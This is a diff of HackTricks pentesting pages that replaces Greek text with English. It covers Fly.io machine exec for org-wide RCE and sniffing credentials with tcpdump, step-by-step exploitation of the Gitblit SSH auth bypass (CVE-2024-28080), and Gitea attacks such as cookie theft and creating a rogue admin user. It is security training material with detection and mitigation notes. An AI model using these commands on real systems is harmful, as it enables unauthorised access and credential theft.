Εκτέλεσε μια εντολή ως root μέσα σε οποιαδήποτε μηχανή μιας εφαρμογής:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Αποτέλεσμα: org-wide remote code execution σε όλες τις φιλοξενούμενες εφαρμογές όπου το token έχει επαρκή προνόμια.
## Κλοπή μυστικών από συμβιβασμένες φιλοξενούμενες υπηρεσίες
Με exec/RCE σε φιλοξενούμενους διακομιστές, μπορείτε να συλλέξετε μυστικά που παρέχονται από τον πελάτη (API keys, tokens) ή να πραγματοποιήσετε prompt-injection attacks. Παράδειγμα: εγκαταστήστε tcpdump και καταγράψτε HTTP traffic on port 8080 για να εξάγετε inbound credentials.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Τα captured requests συχνά περιέχουν client credentials σε headers, bodies ή query params.
## Αναφορές
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,12 @@
# Gitblit Ασφάλεια
# Gitblit Security
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το Gitblit
## What is Gitblit
Το Gitblit είναι ένας αυτο-φιλοξενούμενος Git διακομιστής γραμμένος σε Java. Μπορεί να τρέξει ως standalone JAR ή σε servlet containers και παρέχει ενσωματωμένη υπηρεσία SSH (Apache MINA SSHD) για Git over SSH.
Gitblit is a selfhosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
## Θέματα
## Topics
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
@@ -14,7 +14,7 @@
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## Αναφορές
## References
- [Gitblit project](https://gitblit.com/)

View File

@@ -1,99 +1,103 @@
# Gitblit Ενσωματωμένη Παράκαμψη Αυθεντικοποίησης SSH (CVE-2024-28080)
# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
{{#include ../../banners/hacktricks-training.md}}
## Περίληψη
## Summary
CVE-2024-28080 είναι μια παράκαμψη αυθεντικοποίησης στην ενσωματωμένη υπηρεσία SSH του Gitblit λόγω λανθασμένης διαχείρισης του session state κατά την ενσωμάτωση με Apache MINA SSHD. Εάν ένας λογαριασμός χρήστη έχει εγγεγραμμένο τουλάχιστον ένα SSH public key, ένας επιτιθέμενος που γνωρίζει το όνομα χρήστη και οποιοδήποτε από τα public keys αυτού του χρήστη μπορεί να αυθεντικοποιηθεί χωρίς το ιδιωτικό κλειδί και χωρίς τον κωδικό πρόσβασης.
CVE-2024-28080 is an authentication bypass in Gitblits embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that users public keys can authenticate without the private key and without the password.
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH enabled on the instance
- Ο λογαριασμός θύματος έχει τουλάχιστον ένα SSH public key καταχωρημένο στο Gitblit
- Ο επιτιθέμενος γνωρίζει το username του θύματος και ένα από τα public keys του (συχνά ανακαλύψιμο, π.χ., https://github.com/<username>.keys)
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
## Βασική αιτία (state leaks between SSH methods)
## Root cause (state leaks between SSH methods)
Στο RFC 4252, η publickey authentication προχωρά σε δύο φάσεις: ο server πρώτα ελέγχει αν ένα παρεχόμενο public key είναι αποδεκτό για ένα username, και μόνο μετά από ένα challenge/response με υπογραφή γίνεται η τελική αυθεντικοποίηση του χρήστη. Στο MINA SSHD, το PublickeyAuthenticator καλείται δύο φορές: κατά την αποδοχή του κλειδιού (ακόμα χωρίς υπογραφή) και αργότερα όταν ο client επιστρέψει υπογραφή.
In RFC 4252, publickey authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
Το PublickeyAuthenticator του Gitblit τροποποιούσε το session context στην πρώτη, προ‑υπογραφής κλήση, συσχετίζοντας το UserModel με το session και επιστρέφοντας true ("key acceptable"). Όταν η αυθεντικοποίηση αργότερα έπεφτε πίσω στο password, το PasswordAuthenticator εμπιστευόταν αυτό το μεταβλημένο session state και συντόμευε τη διαδικασία, επιστρέφοντας true χωρίς να επαληθεύσει τον κωδικό. Ως αποτέλεσμα, οποιοσδήποτε κωδικός (συμπεριλαμβανομένου του κενό) γινόταν αποδεκτός μετά από μια προηγούμενη δημόσια‑κλειδιού "αποδοχή" για τον ίδιο χρήστη.
Gitblits PublickeyAuthenticator mutated the session context on the first, presignature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and shortcircuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior publickey "acceptance" for the same user.
Υψηλού επιπέδου ελαττωματική ροή:
Highlevel flawed flow:
1) Client προσφέρει username + public key (ακόμα χωρίς υπογραφή)
2) Server αναγνωρίζει ότι το κλειδί ανήκει στον χρήστη και προωρό προσδέτει τον χρήστη στο session, επιστρέφοντας true ("acceptable")
3) Client δεν μπορεί να υπογράψει (δεν υπάρχει private key), οπότε η auth πέφτει πίσω στο password
4) Η password auth βλέπει ότι υπάρχει ήδη χρήστης στο session και χωρίς προϋποθέσεις επιστρέφει επιτυχία
1) Client offers username + public key (no signature yet)
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
## Βήμα‑βήμα εκμετάλλευση
## Stepbystep exploitation
- Συλλέξτε το username του θύματος και ένα από τα public keys του:
- Το GitHub εκθέτει public keys στο https://github.com/<username>.keys
- Public servers συχνά εκθέτουν αρχεία authorized_keys
- Διαμορφώστε το OpenSSH ώστε να παρουσιάζει μόνο το δημόσιο μισό ώστε η δημιουργία υπογραφής να αποτύχει, αναγκάζοντας fallback στον κωδικό ενώ παράλληλα ενεργοποιείται η διαδρομή αποδοχής publickey στον server.
- Collect a victims username and one of their public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the publickey acceptance path on the server.
Example SSH client config (no private key available):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Συνδεθείτε και πατήστε Enter στο password prompt (ή πληκτρολογήστε οποιαδήποτε string):
Connect and press Enter at the password prompt (or type any string):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Η αυθεντικοποίηση επιτυγχάνεται επειδή το προηγούμενο στάδιο publickey μετέβαλε τη συνεδρία σε επαληθευμένο χρήστη, και η password auth εμπιστεύεται εσφαλμένα αυτή την κατάσταση.
Note: Εάν το ControlMaster multiplexing είναι ενεργοποιημένο στο SSH config σας, οι επόμενες εντολές Git μπορεί να επαναχρησιμοποιήσουν την επαληθευμένη σύνδεση, αυξάνοντας τον αντίκτυπο.
Authentication succeeds because the earlier publickey phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
## Επιπτώσεις
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
- Πλήρης προσωποποίηση οποιουδήποτε χρήστη Gitblit που έχει τουλάχιστον ένα καταχωρισμένο SSH public key
- Πρόσβαση ανάγνωσης/εγγραφής σε αποθετήρια σύμφωνα με τα δικαιώματα του θύματος (source exfiltration, unauthorized pushes, supplychain risks)
- Πιθανός διοικητικός αντίκτυπος εάν στοχευτεί χρήστης admin
- Καθαρά network exploit· δεν απαιτείται brute force ή private key
## Impact
## Ιδέες εντοπισμού
- Full impersonation of any Gitblit user with at least one registered SSH public key
- Read/write access to repositories per victims permissions (source exfiltration, unauthorized pushes, supplychain risks)
- Potential administrative impact if targeting an admin user
- Pure network exploit; no brute force or private key required
- Ελέγξτε τα SSH logs για ακολουθίες όπου μια προσπάθεια publickey ακολουθείται από επιτυχημένη password authentication με κενό ή πολύ σύντομο password
- Αναζητήστε ροές: publickey method που προσφέρει μη υποστηριζόμενο/ασύμβατο key material και ακολουθείται από άμεση επιτυχία password για το ίδιο username
## Detection ideas
## Μετριασμοί
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
- Αναβαθμίστε σε Gitblit v1.10.0+
- Μέχρι την αναβάθμιση:
- Απενεργοποιήστε το Git over SSH στο Gitblit, ή
- Περιορίστε την πρόσβαση δικτύου στην SSH service, και
- Παρακολουθήστε για ύποπτα μοτίβα που περιγράφονται παραπάνω
- Αλλάξτε/ανανεώστε τα credentials των επηρεαζόμενων χρηστών εάν υπάρχει υποψία συμβιβασμού
## Mitigations
## Γενικά: κατάχρηση SSH auth method stateleakage (MINA/OpenSSHbased services)
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
Πρότυπο: Εάν ο publickey authenticator ενός server μεταβάλλει την κατάσταση χρήστη/συνεδρίας κατά τη διάρκεια του presignature "key acceptable" σταδίου και άλλοι authenticators (π.χ. password) εμπιστεύονται αυτή την κατάσταση, μπορείτε να παρακάμψετε την αυθεντικοποίηση με:
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
- Παρουσίαση ενός έγκυρου public key για τον στοχευόμενο χρήστη (χωρίς private key)
- Αναγκάζοντας τον client να αποτύχει στο signing ώστε ο server να υποχωρήσει σε password
- Παροχή οποιουδήποτε password ενώ ο password authenticator shortcircuits λόγω leaked state
Pattern: If a servers publickey authenticator mutates user/session state during the presignature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
Πρακτικές συμβουλές:
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator shortcircuits on leaked state
- Public key harvesting at scale: εξαγάγετε public keys από κοινές πηγές όπως https://github.com/<username>.keys, οργανωτικούς καταλόγους, σελίδες ομάδων, leaked authorized_keys
- Forcing signature failure (clientside): ρυθμίστε το IdentityFile ώστε να δείχνει μόνο στο .pub, θέστε IdentitiesOnly yes, κρατήστε το PreferredAuthentications να περιλαμβάνει publickey και μετά password
Practical tips:
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) δεν πρέπει να επισυνάπτει user/session state μέχρι η postsignature verification διαδρομή να επιβεβαιώσει την υπογραφή
- PasswordAuthenticator.authenticate(...) δεν πρέπει να συμπεράνει επιτυχία από οποιαδήποτε κατάσταση μεταβλήθηκε κατά τη διάρκεια μιας προηγούμενης, ελλιπούς authentication μεθόδου
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Σχετικές σημειώσεις πρωτοκόλλου/σχεδιασμού και βιβλιογραφία:
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)
- Ιστορικές συζητήσεις για early acceptance oracles και auth races, π.χ. διαμάχες CVE201620012 γύρω από τη συμπεριφορά του OpenSSH
- Historical discussions on early acceptance oracles and auth races, e.g., CVE201620012 disputes around OpenSSH behavior
## References

View File

@@ -2,129 +2,140 @@
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το Gitea
## What is Gitea
**Gitea** είναι μια **λύση φιλοξενίας κώδικα ελαφριάς διαχείρισης από την κοινότητα** που έχει γραφτεί σε Go.
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
![](<../../images/image (160).png>)
### Βασικές Πληροφορίες
### Basic Information
{{#ref}}
basic-gitea-information.md
{{#endref}}
## Εργαστήριο
## Lab
To run a Gitea instance locally you can just run a docker container:
Για να τρέξετε μια τοπική εγκατάσταση του Gitea, μπορείτε απλά να τρέξετε ένα κοντέινερ docker:
```bash
docker run -p 3000:3000 gitea/gitea
```
Συνδεθείτε στην πόρτα 3000 για να αποκτήσετε πρόσβαση στη σελίδα ιστού.
Μπορείτε επίσης να το εκτελέσετε με το kubernetes:
Connect to port 3000 to access the web page.
You could also run it with kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## Μη Αυθεντικοποιημένη Αρίθμηση
- Δημόσια αποθετήρια: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Καταχωρημένοι χρήστες: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Καταχωρημένες Οργανώσεις: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
## Unauthenticated Enumeration
Σημειώστε ότι από **προεπιλογή η Gitea επιτρέπει στους νέους χρήστες να εγγραφούν**. Αυτό δεν θα δώσει ιδιαίτερα ενδιαφέροντα δικαιώματα στους νέους χρήστες σε σχέση με τα αποθετήρια άλλων οργανώσεων/χρηστών, αλλά ένας **συνδεδεμένος χρήστης** μπορεί να είναι σε θέση να **οραματιστεί περισσότερα αποθετήρια ή οργανώσεις**.
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
## Εσωτερική Εκμετάλλευση
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
Για αυτό το σενάριο θα υποθέσουμε ότι έχετε αποκτήσει κάποια πρόσβαση σε έναν λογαριασμό github.
## Internal Exploitation
### Με Διαπιστευτήρια Χρήστη/Ιστό Cookie
For this scenario we are going to suppose that you have obtained some access to a github account.
Αν έχετε κάπως ήδη διαπιστευτήρια για έναν χρήστη μέσα σε μια οργάνωση (ή αν κλέψατε ένα cookie συνεδρίας) μπορείτε **απλά να συνδεθείτε** και να ελέγξετε ποια **δικαιώματα έχετε** σε ποια **αποθετήρια,** σε **ποιες ομάδες** είστε, **να καταγράψετε άλλους χρήστες**, και **πώς είναι προστατευμένα τα αποθετήρια.**
### With User Credentials/Web Cookie
Σημειώστε ότι **η 2FA μπορεί να χρησιμοποιείται** οπότε θα μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες μόνο αν μπορείτε επίσης να **περάσετε αυτήν την επιβεβαίωση**.
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Σημειώστε ότι αν **καταφέρετε να κλέψετε το cookie `i_like_gitea`** (προς το παρόν ρυθμισμένο με SameSite: Lax) μπορείτε να **παριστάνετε πλήρως τον χρήστη** χωρίς να χρειάζεστε διαπιστευτήρια ή 2FA.
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
### Με Κλειδί SSH Χρήστη
### With User SSH Key
Η Gitea επιτρέπει στους **χρήστες** να ρυθμίζουν **κλειδιά SSH** που θα χρησιμοποιούνται ως **μέθοδος αυθεντικοποίησης για την ανάπτυξη κώδικα** εκ μέρους τους (δεν εφαρμόζεται 2FA).
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
Με αυτό το κλειδί μπορείτε να κάνετε **αλλαγές σε αποθετήρια όπου ο χρήστης έχει κάποια προνόμια**, ωστόσο δεν μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στο api της gitea για να αρίθμηση του περιβάλλοντος. Ωστόσο, μπορείτε να **αριθμήσετε τις τοπικές ρυθμίσεις** για να αποκτήσετε πληροφορίες σχετικά με τα αποθετήρια και τους χρήστες στους οποίους έχετε πρόσβαση:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Αν ο χρήστης έχει ρυθμίσει το όνομα χρήστη του ως το όνομα χρήστη του gitea, μπορείτε να αποκτήσετε πρόσβαση στα **δημόσια κλειδιά που έχει ρυθμίσει** στον λογαριασμό του στο _https://github.com/\<gitea_username>.keys_, μπορείτε να το ελέγξετε αυτό για να επιβεβαιώσετε ότι το ιδιωτικό κλειδί που βρήκατε μπορεί να χρησιμοποιηθεί.
**SSH κλειδιά** μπορούν επίσης να ρυθμιστούν σε αποθετήρια ως **κλειδιά ανάπτυξης**. Οποιοσδήποτε έχει πρόσβαση σε αυτό το κλειδί θα μπορεί να **εκκινήσει έργα από ένα αποθετήριο**. Συνήθως σε έναν διακομιστή με διαφορετικά κλειδιά ανάπτυξης, το τοπικό αρχείο **`~/.ssh/config`** θα σας δώσει πληροφορίες σχετικά με το ποιο κλειδί σχετίζεται.
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
#### GPG Κλειδιά
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
Όπως εξηγείται [**εδώ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), μερικές φορές είναι απαραίτητο να υπογράψετε τις δεσμεύσεις ή μπορεί να σας ανακαλύψουν.
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Ελέγξτε τοπικά αν ο τρέχων χρήστης έχει κάποιο κλειδί με:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Με Token Χρήστη
Για μια εισαγωγή σχετικά με [**Tokens Χρήστη δείτε τις βασικές πληροφορίες**](basic-gitea-information.md#personal-access-tokens).
### With User Token
Ένα token χρήστη μπορεί να χρησιμοποιηθεί **αντί για έναν κωδικό πρόσβασης** για να **αυθεντικοποιηθεί** στον διακομιστή Gitea [**μέσω API**](https://try.gitea.io/api/swagger#/). θα έχει **πλήρη πρόσβαση** στον χρήστη.
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
### Με Εφαρμογή Oauth
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
Για μια εισαγωγή σχετικά με [**Εφαρμογές Oauth Gitea δείτε τις βασικές πληροφορίες**](./#with-oauth-application).
### With Oauth Application
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **κακόβουλη Εφαρμογή Oauth** για να αποκτήσει πρόσβαση σε προνομιακά δεδομένα/ενέργειες των χρηστών που τις αποδέχονται πιθανώς ως μέρος μιας εκστρατείας phishing.
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
Όπως εξηγείται στις βασικές πληροφορίες, η εφαρμογή θα έχει **πλήρη πρόσβαση στον λογαριασμό χρήστη**.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
### Παράκαμψη Προστασίας Κλάδου
As explained in the basic information, the application will have **full access over the user account**.
Στο Github έχουμε **github actions** που από προεπιλογή αποκτούν ένα **token με δικαιώματα εγγραφής** πάνω στο repo που μπορεί να χρησιμοποιηθεί για να **παρακάμψει τις προστασίες κλάδου**. Σε αυτή την περίπτωση που **δεν υπάρχει**, οι παρακάμψεις είναι πιο περιορισμένες. Αλλά ας δούμε τι μπορεί να γίνει:
### Branch Protection Bypass
- **Ενεργοποίηση Push**: Αν οποιοσδήποτε με δικαιώματα εγγραφής μπορεί να σπρώξει στον κλάδο, απλά σπρώξτε σε αυτόν.
- **Whitelist Restricted Push**: Με τον ίδιο τρόπο, αν είστε μέρος αυτής της λίστας σπρώξτε στον κλάδο.
- **Ενεργοποίηση Λίστας Εγκεκριμένων Συγχωνεύσεων**: Αν υπάρχει μια λίστα εγκεκριμένων συγχωνεύσεων, πρέπει να είστε μέσα σε αυτήν.
- **Απαιτούνται εγκρίσεις μεγαλύτερες από 0**: Τότε... πρέπει να συμβιβαστείτε με έναν άλλο χρήστη.
- **Περιορισμός εγκρίσεων σε εγκεκριμένους**: Αν μόνο οι εγκεκριμένοι χρήστες μπορούν να εγκρίνουν... πρέπει να συμβιβαστείτε με έναν άλλο χρήστη που είναι μέσα σε αυτή τη λίστα.
- **Ακύρωση παλαιών εγκρίσεων**: Αν οι εγκρίσεις δεν αφαιρούνται με νέες καταθέσεις, θα μπορούσατε να καταλάβετε μια ήδη εγκεκριμένη PR για να εισάγετε τον κωδικό σας και να συγχωνεύσετε την PR.
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
Σημειώστε ότι **αν είστε διαχειριστής οργανισμού/repo** μπορείτε να παρακάμψετε τις προστασίες.
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
- **Require approvals is bigger than 0**: Then... you need to compromise another user
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
### Καταμέτρηση Webhooks
Note that **if you are an org/repo admin** you can bypass the protections.
**Webhooks** είναι ικανά να **στέλνουν συγκεκριμένες πληροφορίες gitea σε ορισμένα μέρη**. Μπορείτε να είστε σε θέση να **εκμεταλλευτείτε αυτή την επικοινωνία**.\
Ωστόσο, συνήθως ένα **μυστικό** που δεν μπορείτε να **ανακτήσετε** έχει οριστεί στο **webhook** που θα **αποτρέψει** τους εξωτερικούς χρήστες που γνωρίζουν τη διεύθυνση URL του webhook αλλά όχι το μυστικό να **εκμεταλλευτούν αυτό το webhook**.\
Αλλά σε ορισμένες περιπτώσεις, οι άνθρωποι αντί να ορίσουν το **μυστικό** στη θέση του, το **θέτουν στη διεύθυνση URL** ως παράμετρο, οπότε **ελέγχοντας τις διευθύνσεις URL** θα μπορούσατε να **βρείτε μυστικά** και άλλα μέρη που θα μπορούσατε να εκμεταλλευτείτε περαιτέρω.
### Enumerate Webhooks
Τα webhooks μπορούν να οριστούν σε **επίπεδο repo και οργανισμού**.
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
## Μετά την Εκμετάλλευση
Webhooks can be set at **repo and at org level**.
### Μέσα στον διακομιστή
## Post Exploitation
Αν με κάποιο τρόπο καταφέρατε να μπείτε μέσα στον διακομιστή όπου τρέχει το gitea θα πρέπει να αναζητήσετε το αρχείο ρύθμισης παραμέτρων gitea. Από προεπιλογή βρίσκεται στο `/data/gitea/conf/app.ini`
### Inside the server
Σε αυτό το αρχείο μπορείτε να βρείτε **κλειδιά** και **κωδικούς πρόσβασης**.
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
Στο μονοπάτι gitea (κατά προεπιλογή: /data/gitea) μπορείτε επίσης να βρείτε ενδιαφέρουσες πληροφορίες όπως:
In this file you can find **keys** and **passwords**.
- Η **βάση δεδομένων sqlite**: Αν το gitea δεν χρησιμοποιεί εξωτερική βάση δεδομένων θα χρησιμοποιήσει μια βάση δεδομένων sqlite.
- Οι **συνεδρίες** μέσα στον φάκελο συνεδριών: Εκτελώντας `cat sessions/*/*/*` μπορείτε να δείτε τα ονόματα χρηστών των συνδεδεμένων χρηστών (το gitea θα μπορούσε επίσης να αποθηκεύει τις συνεδρίες μέσα στη βάση δεδομένων).
- Το **ιδιωτικό κλειδί jwt** μέσα στον φάκελο jwt.
- Περισσότερες **ευαίσθητες πληροφορίες** θα μπορούσαν να βρεθούν σε αυτόν τον φάκελο.
In the gitea path (by default: /data/gitea) you can find also interesting information like:
Αν είστε μέσα στον διακομιστή μπορείτε επίσης να **χρησιμοποιήσετε το δυαδικό αρχείο `gitea`** για να αποκτήσετε/τροποποιήσετε πληροφορίες:
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
- The **jwt private key** inside the jwt folder
- More **sensitive information** could be found in this folder
- `gitea dump` θα εξάγει το gitea και θα δημιουργήσει ένα αρχείο .zip.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` θα δημιουργήσει ένα token του υποδεικνυόμενου τύπου (persistency).
- `gitea admin user change-password --username admin --password newpassword` Αλλάξτε τον κωδικό πρόσβασης.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Δημιουργήστε νέο διαχειριστή χρήστη και αποκτήστε ένα access token.
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
- `gitea dump` will dump gitea and generate a .zip file
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
- `gitea admin user change-password --username admin --password newpassword` Change the password
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,103 +1,106 @@
# Βασικές Πληροφορίες Gitea
# Basic Gitea Information
{{#include ../../banners/hacktricks-training.md}}
## Βασική Δομή
## Basic Structure
Η βασική δομή του περιβάλλοντος Gitea είναι να ομαδοποιεί τα repos κατά **οργάνωση(εις),** καθένα από αυτά μπορεί να περιέχει **πολλούς αποθετηρίους** και **πολλές ομάδες.** Ωστόσο, σημειώστε ότι όπως και στο github, οι χρήστες μπορούν να έχουν repos εκτός της οργάνωσης.
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
Επιπλέον, ένας **χρήστης** μπορεί να είναι **μέλος** **διαφορετικών οργανώσεων**. Μέσα στην οργάνωση, ο χρήστης μπορεί να έχει **διαφορετικές άδειες πρόσβασης σε κάθε αποθετήριο**.
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
Ένας χρήστης μπορεί επίσης να είναι **μέλος διαφορετικών ομάδων** με διαφορετικές άδειες πρόσβασης σε διαφορετικά repos.
A user may also be **part of different teams** with different permissions over different repos.
Και τέλος, **οι αποθετήρες μπορεί να έχουν ειδικούς μηχανισμούς προστασίας**.
And finally **repositories may have special protection mechanisms**.
## Άδειες
## Permissions
### Οργανώσεις
### Organizations
Όταν μια **οργάνωση δημιουργείται**, μια ομάδα που ονομάζεται **Ιδιοκτήτες** δημιουργείται και ο χρήστης τοποθετείται μέσα σε αυτήν. Αυτή η ομάδα θα δώσει **διαχειριστική πρόσβαση** στην **οργάνωση**, αυτές οι **άδειες** και το **όνομα** της ομάδας **δεν μπορούν να τροποποιηθούν**.
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
**Διαχειριστές οργανώσεων** (ιδιοκτήτες) μπορούν να επιλέξουν την **ορατότητα** της οργάνωσης:
**Org admins** (owners) can select the **visibility** of the organization:
- Δημόσια
- Περιορισμένη (μόνο για συνδεδεμένους χρήστες)
- Ιδιωτική (μόνο για μέλη)
- Public
- Limited (logged in users only)
- Private (members only)
**Διαχειριστές οργανώσεων** μπορούν επίσης να υποδείξουν αν οι **διαχειριστές αποθετηρίων** μπορούν να **προσθέσουν ή να αφαιρέσουν πρόσβαση** για ομάδες. Μπορούν επίσης να υποδείξουν τον μέγιστο αριθμό αποθετηρίων.
